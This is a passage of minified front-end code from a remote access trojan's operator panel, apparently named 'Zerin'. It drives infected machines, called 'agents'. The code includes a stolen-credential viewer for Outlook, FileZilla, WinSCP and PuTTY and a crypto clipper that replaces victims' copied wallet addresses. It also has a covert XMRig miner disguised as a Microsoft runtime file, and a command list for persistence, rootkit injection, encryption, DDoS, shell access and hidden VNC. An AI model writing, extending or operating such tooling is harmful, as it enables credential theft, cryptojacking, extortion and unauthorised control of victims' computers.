mb-1",children:["Outlook (",i.outlook.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.account}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.server}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""})]},D))})})]}),!((ae=i.telegram)!=null&&ae.found)&&!((fe=i.filezilla)!=null&&fe.length)&&!((de=i.winscp)!=null&&de.length)&&!((G=i.putty)!=null&&G.length)&&!((te=i.outlook)!=null&&te.length)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),(((P=i.errors)==null?void 0:P.length)??0)>0&&s.jsx(Tr,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:s.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((C,D)=>s.jsxs("div",{className:"text-xs",children:[s.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[C.source,":"]})," ",s.jsx("span",{className:"text-zerin-danger",children:C.error})]},D))})})]}),!i&&!o&&!c&&s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",s.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Tr({title:e,count:t,expanded:n,onToggle:r,children:i}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r hover:bg-zerin-panel-hover transition-colors`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),s.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&s.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const EU=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],AU={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function l2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function _U({agentId:e,agentStatus:t}){const[n,r]=p.useState({...AU}),[i,a]=p.useState(!1),[o,l]=p.useState(!1),[c,u]=p.useState(null),[d,f]=p.useState({}),m=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(k=>({...k,[b]:w}));const j=l2(b,w);f(k=>{const S={...k};return j?S[b]=j:delete S[b],S})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=p.useCallback(async()=>{if(m)return;const b={};for(const[w,j]of Object.entries(n))if(j){const k=l2(w,j);k&&(b[w]=k)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,k]of Object.entries(n))k&&(w[j]=k);await ke(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,m]),v=p.useCallback(async()=>{if(!m){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await ke(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await ke(e,{command:i?"clipper_stop":"clipper_start"}),a(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,m]);return s.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&s.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),s.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),s.jsxs("button",{onClick:v,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors disabled:opacity-30 disabled:cursor-not-allowed ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),s.jsx("button",{onClick:y,disabled:o||m||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r text-zerin-text-dim hover:text-zerin-text\r bg-zerin-panel hover:bg-zerin-panel-hover\r border border-zerin-panel-border\r px-3 py-2 transition-colors\r disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),s.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:EU.map(({key:b,label:w,placeholder:j,color:k})=>s.jsxs("div",{className:"space-y-1",children:[s.jsx("label",{className:`text-xs font-semibold ${k}`,children:w}),s.jsx("input",{type:"text",value:n[b],onChange:S=>x(b,S.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text placeholder-zerin-text-muted focus:outline-none focus:ring-1 transition-all ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&s.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),s.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[s.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),s.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),s.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),s.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),s.jsx("li",{children:"Config can be updated while running"})]})]})]})}const c2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function OU({agentId:e,agentStatus:t}){const[n,r]=p.useState(c2[0]),[i,a]=p.useState(""),[o,l]=p.useState(""),[c,u]=p.useState(50),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),y=p.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(z,O)=>{h({text:z,type:O}),setTimeout(()=>h(null),5e3)};p.useEffect(()=>{if(!e)return;const z=async()=>{try{const O=await Tn(e),_=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,E)=>new Date(E.created_at).getTime()-new Date(T.created_at).getTime());if(_.length>0){const T=_[0],E=(O.results??[]).find(U=>U.task_id===T.id);if(E!=null&&E.output)try{const U=JSON.parse(E.output);g(U)}catch{}}}catch{}};return z(),y.current=setInterval(z,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await ke(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await ke(e,{command:"miner_status"})}catch{}},3e3)}catch(z){w(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0);try{await ke(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}},S=async()=>{try{await ke(e,{command:"miner_status"}),w("Status request sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to query status","err")}},N=z=>{const O=Math.floor(z/3600),_=Math.floor(z%3600/60),T=Math.floor(z%60);return O>0?`${O}h ${_}m ${T}s`:_>0?`${_}m ${T}s`:`${T}s`};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),b&&x&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),s.jsx("button",{onClick:S,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),s.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[s.jsx(ia,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),s.jsx(ia,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),s.jsx(ia,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),s.jsx(ia,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),s.jsx(ia,{label:"Uptime",value:x.uptime!=null?N(x.uptime):"-"}),s.jsx(ia,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&s.jsx("div",{className:"px-4 pb-3",children:s.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),s.jsx("select",{value:n,onChange:z=>r(z.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:c2.map(z=>s.jsx("option",{value:z,children:z},z))})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),s.jsx("input",{type:"text",value:i,onChange:z=>a(z.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),s.jsx("input",{type:"text",value:o,onChange:z=>l(z.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:z=>u(Number(z.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"10%"}),s.jsx("span",{children:"25%"}),s.jsx("span",{children:"50%"}),s.jsx("span",{children:"75%"}),s.jsx("span",{children:"100%"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:b?s.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):s.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),s.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:s.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",s.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function ia({label:e,value:t,valueClass:n}){return s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[s.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const u2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],TU={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},sp=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function MU(){const{id:e}=Mo(),t=Qn(),[n,r]=nx(),[i,a]=p.useState(null),[o,l]=p.useState([]),[c,u]=p.useState([]),[d,f]=p.useState(!0),[m,h]=p.useState(""),[x,g]=p.useState(""),[y,v]=p.useState(!1),[b,w]=p.useState(!1),[j,k]=p.useState(()=>{const M=n.get("tab");return M&&sp.includes(M)?M:"overview"}),[S,N]=p.useState(()=>{const M=n.get("tab"),ee=new Set(["overview"]);return M&&sp.includes(M)&&ee.add(M),ee}),[z,O]=p.useState(null),[_,T]=p.useState(!0),[E,U]=p.useState(!1),[K,R]=p.useState(null),[I,F]=p.useState(new Set),[B,V]=p.useState(()=>n.get("auto")==="1"),[$,q]=p.useState(null),[Y,ie]=p.useState(-1),[ae,fe]=p.useState(!1),de=p.useRef(null);p.useEffect(()=>{N(M=>{if(M.has(j))return M;const ee=new Set(M);return ee.add(j),ee})},[j]),p.useEffect(()=>{N(new Set(["overview"]))},[e]),p.useEffect(()=>{const M=n.get("tab");M&&sp.includes(M)&&M!==j&&k(M)},[n]);const G=M=>{k(M),M==="overview"?n.delete("tab"):n.set("tab",M),r(n,{replace:!0})},te=p.useCallback(async()=>{if(e)try{const M=await xE(e);a(M),h("");try{const ee=await Tn(e);l(ee.tasks??[]),u(ee.results??[])}catch{l([]),u([])}}catch(M){a(null);const ee=M instanceof Error&&"status"in M?M.status:"network";h(M instanceof Error?`${M.message} (${ee})`:String(M))}finally{f(!1)}},[e]);p.useEffect(()=>{te();const M=setInterval(te,5e3);return()=>clearInterval(M)},[te]),p.useEffect(()=>{if(!e)return;let M=!0;const ee=async()=>{try{const X=await OE(e);M&&q(X)}catch{M&&q(null)}};ee();const W=setInterval(ee,3e3);return()=>{M=!1,clearInterval(W)}},[e]),p.useEffect(()=>{if(!z)return;const M=ee=>{ee.key==="Escape"&&O(null)};return window.addEventListener("keydown",M),()=>window.removeEventListener("keydown",M)},[z]);const P=p.useMemo(()=>[...o].sort((M,ee)=>new Date(M.created_at).getTime()-new Date(ee.created_at).getTime()),[o]),C=5e3,D=p.useMemo(()=>{var ee;const M=[];for(const W of P){const X=(ee=W.args)!=null&&ee.length?" "+W.args.join(" "):"";M.push({type:"command",content:`${W.command}${X}`,timestamp:W.created_at});const ne=c.find(H=>H.task_id===W.id);ne?(ne.error&&M.push({type:"error",content:ne.error,timestamp:ne.completed_at}),ne.output&&M.push({type:"output",content:ne.output,timestamp:ne.completed_at})):W.status==="queued"||W.status==="sent"?M.push({type:"system",content:`[${W.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):W.status==="timeout"&&M.push({type:"error",content:"[Task timed out]"})}if(M.length>C){const W=M.slice(M.length-C);return W.unshift({type:"system",content:`[Output truncated: showing last ${C.toLocaleString()} of ${M.length.toLocaleString()} lines]`}),W}return M},[P,c]),A=p.useMemo(()=>{const M=[];for(const ee of P){if(ee.command!=="screenshot")continue;const W=c.find(X=>X.task_id===ee.id);if(W!=null&&W.data){const X=_A(W.data)?AA(W.data):`data:image/png;base64,${W.data}`;M.push({taskId:ee.id,timestamp:W.completed_at,dataUrl:X})}}return M},[P,c]),Z=x?u2.filter(M=>M.startsWith(x.split(" ")[0])&&M!==x.split(" ")[0]):u2;async function le(M){var ne;if(M.preventDefault(),!e||!x.trim())return;const ee=x.trim().split(/\s+/),W=ee[0],X=ee.slice(1);v(!0),w(!1);try{await ke(e,{command:W,args:X}),g(""),R(null),setTimeout(te,500)}catch(H){R(`[SEND FAILED] ${H instanceof Error?H.message:"Unknown error"}`)}finally{v(!1),(ne=de.current)==null||ne.focus()}}function me(M){var ee;g(M+" "),w(!1),(ee=de.current)==null||ee.focus()}if(d)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"flex flex-col items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),m&&s.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:m}),s.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-4 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const ge=i.hostname||"unknown";return s.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim hover:text-zerin-accent transition-colors px-2 py-1 hover:bg-zerin-accent-muted`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),s.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:ge}),s.jsx(Ku,{status:i.status,size:"md",showLabel:!0}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:Os(i.id)}),i.elevated&&s.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&s.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[s.jsxs("button",{onClick:async()=>{try{await ix(i.id);const M=Ze(),ee=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),s.jsxs("button",{onClick:async()=>{try{await qj(i.id);const M=Ze(),ee=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),s.jsxs("div",{className:"relative",children:[s.jsxs("button",{onClick:()=>fe(M=>!M),className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 